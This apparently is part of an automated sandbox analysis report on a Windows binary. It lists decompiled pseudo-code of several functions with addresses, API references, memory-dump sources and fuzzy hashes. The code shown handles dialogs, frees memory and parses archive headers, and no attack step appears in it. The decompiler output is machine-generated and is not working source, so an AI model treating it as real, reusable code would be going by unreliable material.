							_t208 = _t208 + 0xc;
							if(_t151 == 0) {
								_t12 =  &(_t202[1]); // 0x11236b8
								if(E010FD208(_t156, _t203, _t202,  *_t12,  &_v2048, 0x400) != 0) {
									SetDlgItemTextW(_t187,  *_t202,  &_v2048);
								}
							}
							_t96 = _v2368.top;
						}
						_t156 = _t156 + 1;
						_t202 =  &(_t202[3]);
						_t214 = _t156 -  *0x112d5f4; // 0x63
					} while (_t214 < 0);
					goto L8;
				}
			}

0x010fd9f0
0x010fd9fa
0x010fd9fe
0x010fda03
0x010fda15
0x010fda1f
0x010fda24
0x010fda2b
0x010fda2e
0x010fda32
0x010fda38
0x010fda95
0x010fdaad
0x010fdab5
0x010fdab9
0x010fdac5
0x010fdad7
0x010fdade
0x010fdae2
0x010fdae5
0x010fdaed
0x010fdaf3
0x010fdaf9
0x010fdb9c
0x010fdb9c
0x010fdba4
0x010fdbd5
0x010fdbd5
0x010fdbdb
0x010fdbe6
0x010fdbe8
0x010fdbee
0x010fdbf0
0x010fdbf6
0x010fdca8
0x010fdca8
0x010fdca8
0x010fdbfc
0x010fdc96
0x010fdc03
0x010fdc09
0x00000000
0x00000000
0x010fdc15
0x010fdc1f
0x010fdc34
0x010fdc39
0x010fdc3c
0x010fdc52
0x010fdc5a
0x010fdc5c
0x010fdc5d
0x010fdc65
0x010fdc77
0x010fdc7e
0x010fdc87
0x010fdc8d
0x010fdc8f
0x010fdc93
0x00000000
0x00000000
0x010fdc95
0x010fdc95
0x010fdc95
0x00000000
0x010fdc96
0x010fdb07
0x00000000
0x00000000
0x010fdb14
0x010fdb17
0x010fdb20
0x010fdb25
0x010fdb2b
0x010fdb2f
0x010fdb30
0x010fdb36
0x010fdb40
0x010fdb47
0x010fdb50
0x010fdb54
0x010fdb58
0x010fdb5a
0x010fdb5a
0x010fdb5e
0x010fdb60
0x010fdb60
0x010fdb86
0x010fdb92
0x010fdb98
0x00000000
0x010fda3a
0x010fda3a
0x010fda3f
0x010fda42
0x010fda45
0x010fda4d
0x010fda52
0x010fda57
0x010fda68
0x010fda72
0x010fda7f
0x010fda7f
0x010fda72
0x010fda85
0x010fda85
0x010fda89
0x010fda8a
0x010fda8d
0x010fda8d
0x00000000
0x010fda3f

APIs

_swprintf.LIBCMT ref: 010FD9FE

Part of subcall function 010F3FD6: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 010F3FE9

Part of subcall function 011014F2: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,?,00000000,00000000,?,0112FEE8,?,010FD142,00000000,?,00000050,0112FEE8), ref: 0110150F

_strlen.LIBCMT ref: 010FDA1F
SetDlgItemTextW.USER32(?,0112D154,?), ref: 010FDA7F
GetWindowRect.USER32(?,?), ref: 010FDAB9
GetClientRect.USER32(?,?), ref: 010FDAC5
GetWindowLongW.USER32(?,000000F0), ref: 010FDB65
GetWindowRect.USER32(?,?), ref: 010FDB92
SetWindowTextW.USER32(?,?), ref: 010FDBD5
GetSystemMetrics.USER32(00000008), ref: 010FDBDD
GetWindow.USER32(?,00000005), ref: 010FDBE8
GetWindowRect.USER32(00000000,?), ref: 010FDC15
GetWindow.USER32(00000000,00000002), ref: 010FDC87

Strings

CAPTION, xrefs: 010FDBB7
d, xrefs: 010FDAE5
$%s:, xrefs: 010FD9F2

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$Rect$Text$ByteCharClientItemLongMetricsMultiSystemWide__vswprintf_c_l_strlen_swprintf
String ID: $%s:$CAPTION$d
API String ID: 2407758923-2512411981
Opcode ID: 1e293930a7e47f0ab32459e86ae2135b307f96b01e7e004fae0145b96326e3ec
Instruction ID: 1b4a2b41e6a5b65f965c22b54836209aea09e27878414794c63681e20f0d9e17
Opcode Fuzzy Hash: 1e293930a7e47f0ab32459e86ae2135b307f96b01e7e004fae0145b96326e3ec
Instruction Fuzzy Hash: 7C81A072108305AFD725DFB8CD89B6FBBE9EB88714F04092DFA9497244D771E8098B52

Uniqueness

Uniqueness Score: -1.00%

Function 0111C102, Relevance: 19.6, APIs: 13, Instructions: 114
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0111C102(intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _t25;
				intOrPtr* _t26;
				intOrPtr _t28;
				intOrPtr* _t29;
				intOrPtr* _t31;
				intOrPtr* _t45;
				intOrPtr* _t46;
				intOrPtr* _t47;
				intOrPtr* _t55;
				intOrPtr* _t70;
				intOrPtr _t74;

				_t74 = _a4;
				_t25 =  *((intOrPtr*)(_t74 + 0x88));
				if(_t25 != 0 && _t25 != 0x112dd50) {
					_t45 =  *((intOrPtr*)(_t74 + 0x7c));
					if(_t45 != 0 &&  *_t45 == 0) {
						_t46 =  *((intOrPtr*)(_t74 + 0x84));
						if(_t46 != 0 &&  *_t46 == 0) {
							E0111835E(_t46);
							E0111BCE1( *((intOrPtr*)(_t74 + 0x88)));
						}
						_t47 =  *((intOrPtr*)(_t74 + 0x80));
						if(_t47 != 0 &&  *_t47 == 0) {
							E0111835E(_t47);
							E0111BDDF( *((intOrPtr*)(_t74 + 0x88)));
						}
						E0111835E( *((intOrPtr*)(_t74 + 0x7c)));
						E0111835E( *((intOrPtr*)(_t74 + 0x88)));
					}
				}
				_t26 =  *((intOrPtr*)(_t74 + 0x8c));
				if(_t26 != 0 &&  *_t26 == 0) {
					E0111835E( *((intOrPtr*)(_t74 + 0x90)) - 0xfe);
					E0111835E( *((intOrPtr*)(_t74 + 0x94)) - 0x80);
					E0111835E( *((intOrPtr*)(_t74 + 0x98)) - 0x80);
					E0111835E( *((intOrPtr*)(_t74 + 0x8c)));
				}
				E0111C275( *((intOrPtr*)(_t74 + 0x9c)));
				_t28 = 6;
				_t55 = _t74 + 0xa0;
				_v8 = _t28;
				_t70 = _t74 + 0x28;
				do {
					if( *((intOrPtr*)(_t70 - 8)) != 0x112d818) {
						_t31 =  *_t70;
						if(_t31 != 0 &&  *_t31 == 0) {
							E0111835E(_t31);
							E0111835E( *_t55);
						}
						_t28 = _v8;
					}
					if( *((intOrPtr*)(_t70 - 0xc)) != 0) {
						_t29 =  *((intOrPtr*)(_t70 - 4));
						if(_t29 != 0 &&  *_t29 == 0) {
							E0111835E(_t29);
						}
						_t28 = _v8;
					}
					_t55 = _t55 + 4;
					_t70 = _t70 + 0x10;
					_t28 = _t28 - 1;
					_v8 = _t28;
				} while (_t28 != 0);
				return E0111835E(_t74);
			}

0x0111c10a
0x0111c10e
0x0111c116
0x0111c11f
0x0111c124
0x0111c12b
0x0111c133
0x0111c13b
0x0111c146
0x0111c14c
0x0111c14d
0x0111c155
0x0111c15d
0x0111c168
0x0111c16e
0x0111c172
0x0111c17d
0x0111c183
0x0111c124
0x0111c184
0x0111c18c
0x0111c19f
0x0111c1b2
0x0111c1c0
0x0111c1cb
0x0111c1d0
0x0111c1d9
0x0111c1e1
0x0111c1e2
0x0111c1e8
0x0111c1eb
0x0111c1ee
0x0111c1f5
0x0111c1f7
0x0111c1fb
0x0111c203
0x0111c20a
0x0111c210
0x0111c211
0x0111c211
0x0111c218
0x0111c21a
0x0111c21f
0x0111c227
0x0111c22c
0x0111c22d
0x0111c22d
0x0111c230
0x0111c233
0x0111c236
0x0111c239
0x0111c239
0x0111c24b

APIs

___free_lconv_mon.LIBCMT ref: 0111C146

Part of subcall function 0111BCE1: _free.LIBCMT ref: 0111BCFE
Part of subcall function 0111BCE1: _free.LIBCMT ref: 0111BD10
Part of subcall function 0111BCE1: _free.LIBCMT ref: 0111BD22
Part of subcall function 0111BCE1: _free.LIBCMT ref: 0111BD34
Part of subcall function 0111BCE1: _free.LIBCMT ref: 0111BD46
Part of subcall function 0111BCE1: _free.LIBCMT ref: 0111BD58
Part of subcall function 0111BCE1: _free.LIBCMT ref: 0111BD6A
Part of subcall function 0111BCE1: _free.LIBCMT ref: 0111BD7C
Part of subcall function 0111BCE1: _free.LIBCMT ref: 0111BD8E
Part of subcall function 0111BCE1: _free.LIBCMT ref: 0111BDA0
Part of subcall function 0111BCE1: _free.LIBCMT ref: 0111BDB2
Part of subcall function 0111BCE1: _free.LIBCMT ref: 0111BDC4
Part of subcall function 0111BCE1: _free.LIBCMT ref: 0111BDD6

_free.LIBCMT ref: 0111C13B

Part of subcall function 0111835E: RtlFreeHeap.NTDLL(00000000,00000000,?,0111BE76,?,00000000,?,00000000,?,0111BE9D,?,00000007,?,?,0111C29A,?), ref: 01118374
Part of subcall function 0111835E: GetLastError.KERNEL32(?,?,0111BE76,?,00000000,?,00000000,?,0111BE9D,?,00000007,?,?,0111C29A,?,?), ref: 01118386

_free.LIBCMT ref: 0111C15D
_free.LIBCMT ref: 0111C172
_free.LIBCMT ref: 0111C17D
_free.LIBCMT ref: 0111C19F
_free.LIBCMT ref: 0111C1B2
_free.LIBCMT ref: 0111C1C0
_free.LIBCMT ref: 0111C1CB
_free.LIBCMT ref: 0111C203
_free.LIBCMT ref: 0111C20A
_free.LIBCMT ref: 0111C227
_free.LIBCMT ref: 0111C23F

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 2752e8818e44d0b7df4d32a8add2d5830820daa6cd566dc132c7663dc0fdae17
Instruction ID: e012268791ed27be6676a6b780217372660d30c5b17cf446db0a55891ace6bcf
Opcode Fuzzy Hash: 2752e8818e44d0b7df4d32a8add2d5830820daa6cd566dc132c7663dc0fdae17
Instruction Fuzzy Hash: A0315032588605DFEB29AA7CD944B9AF7E9FF00254F188839E558D7168DF31E840CBB0

Uniqueness

Uniqueness Score: -1.00%

Function 0110CBAE, Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 79
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0110CBAE(void* __ecx, void* __edx, void* __eflags, void* __fp0, short _a24, struct HWND__* _a4124) {
				void _v0;
				intOrPtr _v4;
				intOrPtr _v12;
				struct HWND__* _t8;
				void* _t18;
				void* _t25;
				void* _t27;
				void* _t29;
				struct HWND__* _t32;
				struct HWND__* _t35;
				void* _t48;

				_t48 = __fp0;
				_t27 = __edx;
				E0110E1C0();
				_t8 = E01109C8A(__eflags);
				if(_t8 == 0) {
					L12:
					return _t8;
				}
				_t8 = GetWindow(_a4124, 5);
				_t32 = _t8;
				_t29 = 0;
				_t35 = _t32;
				if(_t32 == 0) {
					L11:
					goto L12;
				}
				while(_t29 < 0x200) {
					GetClassNameW(_t32,  &_a24, 0x800);
					if(E01101708( &_a24, L"STATIC") == 0 && (GetWindowLongW(_t32, 0xfffffff0) & 0x0000001f) == 0xe) {
						_t25 = SendMessageW(_t32, 0x173, 0, 0);
						if(_t25 != 0) {
							GetObjectW(_t25, 0x18,  &_v0);
							_t18 = E01109CEC(_v4);
							SendMessageW(_t32, 0x172, 0, E01109EDB(_t27, _t48, _t25, E01109CA9(_v12), _t18));
							DeleteObject(_t25);
						}
					}
					_t8 = GetWindow(_t32, 2);
					_t32 = _t8;
					if(_t32 != _t35) {
						_t29 = _t29 + 1;
						if(_t32 != 0) {
							continue;
						}
					}
					break;
				}
				goto L11;
			}

0x0110cbae
0x0110cbae
0x0110cbb3
0x0110cbb8
0x0110cbbf
0x0110cc96
0x0110cc9c
0x0110cc9c
0x0110cbd1
0x0110cbd7
0x0110cbd9
0x0110cbdb
0x0110cbdf
0x0110cc93
0x00000000
0x0110cc95
0x0110cbe6
0x0110cbfd
0x0110cc14
0x0110cc36
0x0110cc3a
0x0110cc44
0x0110cc4e
0x0110cc6d
0x0110cc74
0x0110cc74
0x0110cc3a
0x0110cc7d
0x0110cc83
0x0110cc87
0x0110cc89
0x0110cc8c
0x00000000
0x00000000
0x0110cc8c
0x00000000
0x0110cc87
0x00000000

APIs

GetWindow.USER32(?,00000005), ref: 0110CBD1
GetClassNameW.USER32(00000000,?,00000800), ref: 0110CBFD

Part of subcall function 01101708: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011708,010FBA45,00000000,.exe,?,?,00000800,?,?,0110854F,?), ref: 0110171E

GetWindowLongW.USER32(00000000,000000F0), ref: 0110CC19
SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 0110CC30
GetObjectW.GDI32(00000000,00000018,?), ref: 0110CC44

Part of subcall function 01109CEC: GetDC.USER32(00000000), ref: 01109CF8
Part of subcall function 01109CEC: GetDeviceCaps.GDI32(00000000,0000005A), ref: 01109D07
Part of subcall function 01109CEC: ReleaseDC.USER32(00000000,00000000), ref: 01109D15

Part of subcall function 01109CA9: GetDC.USER32(00000000), ref: 01109CB5
Part of subcall function 01109CA9: GetDeviceCaps.GDI32(00000000,00000058), ref: 01109CC4
Part of subcall function 01109CA9: ReleaseDC.USER32(00000000,00000000), ref: 01109CD2

SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 0110CC6D
DeleteObject.GDI32(00000000), ref: 0110CC74
GetWindow.USER32(00000000,00000002), ref: 0110CC7D

Strings

STATIC, xrefs: 0110CC03

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$CapsDeviceMessageObjectReleaseSend$ClassCompareDeleteLongNameString
String ID: STATIC
API String ID: 1444658586-1882779555
Opcode ID: c6c57f2a0bfffa1ec5b1c1f7ca9c863e5f30003ff2230ad7bb84eb307722f881
Instruction ID: a84576d62ddd728c1a1daa741b43c8c461118aee1ee3005b74c5b8b734aeaa93
Opcode Fuzzy Hash: c6c57f2a0bfffa1ec5b1c1f7ca9c863e5f30003ff2230ad7bb84eb307722f881
Instruction Fuzzy Hash: A4115732A40311BBE7372634DE49F9F3A9CEB04755F004620FA51A10C5CBA489414AE1

Uniqueness

Uniqueness Score: -1.00%

Function 01118D31, Relevance: 15.1, APIs: 10, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E01118D31(char _a4) {
				char _v8;

				_t26 = _a4;
				_t52 =  *_a4;
				if( *_a4 != 0x1124eb0) {
					E0111835E(_t52);
					_t26 = _a4;
				}
				E0111835E( *((intOrPtr*)(_t26 + 0x3c)));
				E0111835E( *((intOrPtr*)(_a4 + 0x30)));
				E0111835E( *((intOrPtr*)(_a4 + 0x34)));
				E0111835E( *((intOrPtr*)(_a4 + 0x38)));
				E0111835E( *((intOrPtr*)(_a4 + 0x28)));
				E0111835E( *((intOrPtr*)(_a4 + 0x2c)));
				E0111835E( *((intOrPtr*)(_a4 + 0x40)));
				E0111835E( *((intOrPtr*)(_a4 + 0x44)));
				E0111835E( *((intOrPtr*)(_a4 + 0x360)));
				_v8 =  &_a4;
				E01118BF6(5,  &_v8);
				_v8 =  &_a4;
				return E01118C46(4,  &_v8);
			}

0x01118d37
0x01118d3a
0x01118d42
0x01118d45
0x01118d4a
0x01118d4d
0x01118d51
0x01118d5c
0x01118d67
0x01118d72
0x01118d7d
0x01118d88
0x01118d93
0x01118d9e
0x01118dac
0x01118db4
0x01118dbd
0x01118dc5
0x01118dd9

APIs

_free.LIBCMT ref: 01118D45

Part of subcall function 0111835E: RtlFreeHeap.NTDLL(00000000,00000000,?,0111BE76,?,00000000,?,00000000,?,0111BE9D,?,00000007,?,?,0111C29A,?), ref: 01118374
Part of subcall function 0111835E: GetLastError.KERNEL32(?,?,0111BE76,?,00000000,?,00000000,?,0111BE9D,?,00000007,?,?,0111C29A,?,?), ref: 01118386

_free.LIBCMT ref: 01118D51
_free.LIBCMT ref: 01118D5C
_free.LIBCMT ref: 01118D67
_free.LIBCMT ref: 01118D72
_free.LIBCMT ref: 01118D7D
_free.LIBCMT ref: 01118D88
_free.LIBCMT ref: 01118D93
_free.LIBCMT ref: 01118D9E
_free.LIBCMT ref: 01118DAC

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: a663d0267c3634650eaeb8359608b3dbc9efc91e734aa8c7bb0ff3c7233a81de
Instruction ID: 681c31ed8be1e6557676ebea44dd5e1c43df8b9da1897f5a5ab7c4925fcd15f9
Opcode Fuzzy Hash: a663d0267c3634650eaeb8359608b3dbc9efc91e734aa8c7bb0ff3c7233a81de
Instruction Fuzzy Hash: 6311C576124109BFCB19EF94C940CDDBBA5FF14254B49C4A1FA188F239DB32EE509BA0

Uniqueness

Uniqueness Score: -1.00%

Function 010F214E, Relevance: 14.5, APIs: 5, Strings: 3, Instructions: 480
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E010F214E(intOrPtr __ecx) {
				signed int _t135;
				void* _t137;
				signed int _t139;
				unsigned int _t140;
				signed int _t144;
				signed int _t161;
				signed int _t164;
				void* _t167;
				void* _t172;
				signed int _t175;
				signed char _t178;
				signed char _t179;
				signed char _t180;
				signed int _t182;
				signed int _t185;
				signed int _t187;
				signed int _t188;
				signed char _t220;
				signed char _t232;
				signed int _t233;
				signed int _t236;
				intOrPtr _t240;
				signed int _t244;
				signed int _t246;
				signed int _t247;
				signed int _t257;
				signed int _t258;
				signed char _t262;
				signed int _t263;
				signed int _t265;
				intOrPtr _t272;
				intOrPtr _t275;
				intOrPtr _t278;
				intOrPtr _t314;
				signed int _t315;
				intOrPtr _t318;
				signed int _t322;
				void* _t323;
				void* _t324;
				void* _t326;
				void* _t327;
				void* _t328;
				void* _t329;
				void* _t330;
				void* _t331;
				void* _t332;
				void* _t333;
				void* _t334;
				intOrPtr* _t336;
				signed int _t339;
				void* _t340;
				signed int _t341;
				char* _t342;
				void* _t343;
				void* _t344;
				signed int _t348;
				signed int _t351;
				signed int _t366;

				E0110E1C0();
				_t318 =  *((intOrPtr*)(_t344 + 0x20b8));
				 *((intOrPtr*)(_t344 + 0xc)) = __ecx;
				_t314 =  *((intOrPtr*)(_t318 + 0x18));
				_t135 = _t314 -  *((intOrPtr*)(_t344 + 0x20bc));
				if(_t135 <  *(_t318 + 0x1c)) {
					L104:
					return _t135;
				}
				_t315 = _t314 - _t135;
				 *(_t318 + 0x1c) = _t135;
				if(_t315 >= 2) {
					_t240 =  *((intOrPtr*)(_t344 + 0x20c4));
					while(1) {
						_t135 = E010FC620(_t315);
						_t244 = _t135;
						_t348 = _t315;
						if(_t348 < 0 || _t348 <= 0 && _t244 == 0) {
							break;
						}
						_t322 =  *(_t318 + 0x1c);
						_t135 =  *((intOrPtr*)(_t318 + 0x18)) - _t322;
						if(_t135 == 0) {
							break;
						}
						_t351 = _t315;
						if(_t351 > 0 || _t351 >= 0 && _t244 > _t135) {
							break;
						} else {
							_t339 = _t322 + _t244;
							 *(_t344 + 0x28) = _t339;
							_t137 = E010FC620(_t315);
							_t340 = _t339 -  *(_t318 + 0x1c);
							_t323 = _t137;
							_t135 = _t315;
							_t246 = 0;
							 *(_t344 + 0x24) = _t135;
							 *(_t344 + 0x20) = 0;
							if(0 < 0 || 0 <= 0 && _t340 < 0) {
								break;
							} else {
								if( *((intOrPtr*)(_t240 + 4)) == 1 && _t323 == 1 && _t135 == 0) {
									 *((char*)(_t240 + 0x1e)) = 1;
									_t232 = E010FC620(_t315);
									 *(_t344 + 0x1c) = _t232;
									if((_t232 & 0x00000001) != 0) {
										_t236 = E010FC620(_t315);
										if((_t236 | _t315) != 0) {
											asm("adc eax, edx");
											 *((intOrPtr*)(_t240 + 0x20)) =  *((intOrPtr*)( *((intOrPtr*)(_t344 + 0x18)) + 0x6ca0)) + _t236;
											 *((intOrPtr*)(_t240 + 0x24)) =  *((intOrPtr*)( *((intOrPtr*)(_t344 + 0x18)) + 0x6ca4));
										}
										_t232 =  *(_t344 + 0x1c);
									}
									if((_t232 & 0x00000002) != 0) {
										_t233 = E010FC620(_t315);
										if((_t233 | _t315) != 0) {
											asm("adc eax, edx");
											 *((intOrPtr*)(_t240 + 0x30)) =  *((intOrPtr*)( *((intOrPtr*)(_t344 + 0x18)) + 0x6ca0)) + _t233;
											 *((intOrPtr*)(_t240 + 0x34)) =  *((intOrPtr*)( *((intOrPtr*)(_t344 + 0x18)) + 0x6ca4));
										}
									}
									_t246 =  *(_t344 + 0x20);
									_t135 =  *(_t344 + 0x24);
								}
								if( *((intOrPtr*)(_t240 + 4)) == 2 ||  *((intOrPtr*)(_t240 + 4)) == 3) {
									_t366 = _t135;
									if(_t366 > 0 || _t366 >= 0 && _t323 > 7) {
										goto L102;
									} else {
										_t324 = _t323 - 1;
										if(_t324 == 0) {
											_t139 = E010FC620(_t315);
											__eflags = _t139;
											if(_t139 == 0) {
												_t140 = E010FC620(_t315);
												 *(_t240 + 0x10c1) = _t140 & 0x00000001;
												 *(_t240 + 0x10ca) = _t140 >> 0x00000001 & 0x00000001;
												_t144 = E010FC4D3(_t318) & 0x000000ff;
												 *(_t240 + 0x10ec) = _t144;
												__eflags = _t144 - 0x18;
												if(_t144 > 0x18) {
													E010F3FD6(_t344 + 0x38, 0x14, L"xc%u", _t144);
													_t257 =  *(_t344 + 0x28);
													_t167 = _t344 + 0x40;
													_t344 = _t344 + 0x10;
													E010F3F81(_t257, _t240 + 0x28, _t167);
												}
												E010FC582(_t318, _t240 + 0x10a1, 0x10);
												E010FC582(_t318, _t240 + 0x10b1, 0x10);
												__eflags =  *(_t240 + 0x10c1);
												if( *(_t240 + 0x10c1) != 0) {
													_t325 = _t240 + 0x10c2;
													E010FC582(_t318, _t240 + 0x10c2, 8);
													E010FC582(_t318, _t344 + 0x30, 4);
													E010FF807(_t344 + 0x58);
													E010FF84D(_t344 + 0x60, _t240 + 0x10c2, 8);
													_push(_t344 + 0x30);
													E010FF716(_t344 + 0x5c);
													_t161 = E0110FC4A(_t344 + 0x34, _t344 + 0x34, 4);
													_t344 = _t344 + 0xc;
													asm("sbb al, al");
													__eflags =  *((intOrPtr*)(_t240 + 4)) - 3;
													 *(_t240 + 0x10c1) =  ~_t161 + 1;
													if( *((intOrPtr*)(_t240 + 4)) == 3) {
														_t164 = E0110FC4A(_t325, 0x1122668, 8);
														_t344 = _t344 + 0xc;
														__eflags = _t164;
														if(_t164 == 0) {
															 *(_t240 + 0x10c1) = _t164;
														}
													}
												}
												 *((char*)(_t240 + 0x10a0)) = 1;
												 *((intOrPtr*)(_t240 + 0x109c)) = 5;
												 *((char*)(_t240 + 0x109b)) = 1;
											} else {
												E010F3FD6(_t344 + 0x38, 0x14, L"x%u", _t139);
												_t258 =  *(_t344 + 0x28);
												_t172 = _t344 + 0x40;
												_t344 = _t344 + 0x10;
												E010F3F81(_t258, _t240 + 0x28, _t172);
											}
											goto L102;
										}
										_t326 = _t324 - 1;
										if(_t326 == 0) {
											_t175 = E010FC620(_t315);
											__eflags = _t175;
											if(_t175 != 0) {
												goto L102;
											}
											_push(0x20);
											 *((intOrPtr*)(_t240 + 0x1070)) = 3;
											_push(_t240 + 0x1074);
											L40:
											E010FC582(_t318);
											goto L102;
										}
										_t327 = _t326 - 1;
										if(_t327 == 0) {
											__eflags = _t246;
											if(__eflags < 0) {
												goto L102;
											}
											if(__eflags > 0) {
												L65:
												_t178 = E010FC620(_t315);
												 *(_t344 + 0x13) = _t178;
												_t179 = _t178 & 0x00000001;
												_t262 =  *(_t344 + 0x13);
												 *(_t344 + 0x14) = _t179;
												_t315 = _t262 & 0x00000002;
												__eflags = _t315;
												 *(_t344 + 0x15) = _t315;
												if(_t315 != 0) {
													_t278 = _t318;
													__eflags = _t179;
													if(__eflags == 0) {
														E01100D5C(_t240 + 0x1040, _t315, E010FC562(_t278, __eflags), _t315);
													} else {
														E01100D1D(_t240 + 0x1040, _t315, E010FC520(_t278), 0);
													}
													_t262 =  *(_t344 + 0x13);
													_t179 =  *(_t344 + 0x14);
												}
												_t263 = _t262 & 0x00000004;
												__eflags = _t263;
												 *(_t344 + 0x16) = _t263;
												if(_t263 != 0) {
													_t275 = _t318;
													__eflags = _t179;
													if(__eflags == 0) {
														E01100D5C(_t240 + 0x1048, _t315, E010FC562(_t275, __eflags), _t315);
													} else {
														E01100D1D(_t240 + 0x1048, _t315, E010FC520(_t275), 0);
													}
												}
												_t180 =  *(_t344 + 0x13);
												_t265 = _t180 & 0x00000008;
												__eflags = _t265;
												 *(_t344 + 0x17) = _t265;
												if(_t265 != 0) {
													__eflags =  *(_t344 + 0x14);
													_t272 = _t318;
													if(__eflags == 0) {
														E01100D5C(_t240 + 0x1050, _t315, E010FC562(_t272, __eflags), _t315);
													} else {
														E01100D1D(_t240 + 0x1050, _t315, E010FC520(_t272), 0);
													}
													_t180 =  *(_t344 + 0x13);
												}
												__eflags =  *(_t344 + 0x14);
												if( *(_t344 + 0x14) != 0) {
													__eflags = _t180 & 0x00000010;
													if((_t180 & 0x00000010) != 0) {
														__eflags =  *(_t344 + 0x15);
														if( *(_t344 + 0x15) == 0) {
															_t341 = 0x3fffffff;
															_t328 = 0x3b9aca00;
														} else {
															_t187 = E010FC520(_t318);
															_t341 = 0x3fffffff;
															_t328 = 0x3b9aca00;
															_t188 = _t187 & 0x3fffffff;
															__eflags = _t188 - 0x3b9aca00;
															if(_t188 < 0x3b9aca00) {
																E011009DA(_t240 + 0x1040, _t188, 0);
															}
														}
														__eflags =  *(_t344 + 0x16);
														if( *(_t344 + 0x16) != 0) {
															_t185 = E010FC520(_t318) & _t341;
															__eflags = _t185 - _t328;
															if(_t185 < _t328) {
																E011009DA(_t240 + 0x1048, _t185, 0);
															}
														}
														__eflags =  *(_t344 + 0x17);
														if( *(_t344 + 0x17) != 0) {
															_t182 = E010FC520(_t318) & _t341;
															__eflags = _t182 - _t328;
															if(_t182 < _t328) {
																E011009DA(_t240 + 0x1050, _t182, 0);
															}
														}
													}
												}
												goto L102;
											}
											__eflags = _t340 - 5;
											if(_t340 < 5) {
												goto L102;
											}
											goto L65;
										}
										_t329 = _t327 - 1;
										if(_t329 == 0) {
											__eflags = _t246;
											if(__eflags < 0) {
												goto L102;
											}
											if(__eflags > 0) {
												L60:
												E010FC620(_t315);
												__eflags = E010FC620(_t315);
												if(__eflags != 0) {
													 *((char*)(_t240 + 0x10f3)) = 1;
													E010F3FD6(_t344 + 0x38, 0x14, L";%u", _t203);
													_t344 = _t344 + 0x10;
													E010FFD6E(__eflags, _t240 + 0x28, _t344 + 0x30, 0x800);
												}
												goto L102;
											}
											__eflags = _t340 - 1;
											if(_t340 < 1) {
												goto L102;
											}
											goto L60;
										}
										_t330 = _t329 - 1;
										if(_t330 == 0) {
											 *((intOrPtr*)(_t240 + 0x1100)) = E010FC620(_t315);
											 *(_t240 + 0x2104) = E010FC620(_t315) & 0x00000001;
											_t331 = E010FC620(_t315);
											 *((char*)(_t344 + 0xc0)) = 0;
											__eflags = _t331 - 0x1fff;
											if(_t331 < 0x1fff) {
												E010FC582(_t318, _t344 + 0xc4, _t331);
												 *((char*)(_t344 + _t331 + 0xc0)) = 0;
											}
											E010FBC60(_t344 + 0xc4, _t344 + 0xc4, 0x2000);
											_push(0x800);
											_push(_t240 + 0x1104);
											_push(_t344 + 0xc8);
											E0110138C();
											goto L102;
										}
										_t332 = _t330 - 1;
										if(_t332 == 0) {
											_t220 = E010FC620(_t315);
											 *(_t344 + 0x1c) = _t220;
											_t342 = _t240 + 0x2108;
											 *(_t240 + 0x2106) = _t220 >> 0x00000002 & 0x00000001;
